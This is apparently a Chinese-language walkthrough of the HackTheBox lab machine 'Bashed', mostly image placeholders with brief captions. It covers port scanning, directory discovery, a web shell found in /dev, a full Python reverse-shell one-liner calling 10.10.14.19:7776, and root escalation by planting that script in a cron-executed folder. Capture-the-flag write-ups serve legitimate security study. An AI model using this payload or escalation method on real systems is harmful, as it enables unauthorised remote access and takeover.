Bashed - HackTheBox
Td

image

nmap扫描

image

image

只开放了80端口,访问

image

搜索一下

image

这么简单?

image

扫一下目录

image

image

在dev目录下发现bash

image

image

image

想办法把shell反弹回来

image

不能直接反弹

在本地写一个python反弹文件,在让他下载执行

1
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.19",7776)); os.dup2(s.fileno(),0);  os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);

image

image

看看有没有可以利用的

image

发现一个scriptmanager用户,sudo -u scriptmanager bash -i切换过去

image

在根目录下有一个scripts文件夹

image

image

执行脚本后会往test.txt文本中写入一段话,尝试删除test.txt

image

发现几分钟后又创建了一个,而且所有者为root

image

由此可以推断,该目录下的所有脚本,会定时被root所执行,此时只需要一个反弹的python文件即可,继续使用上面反弹所用的python命令

image

image

监听7766

image

image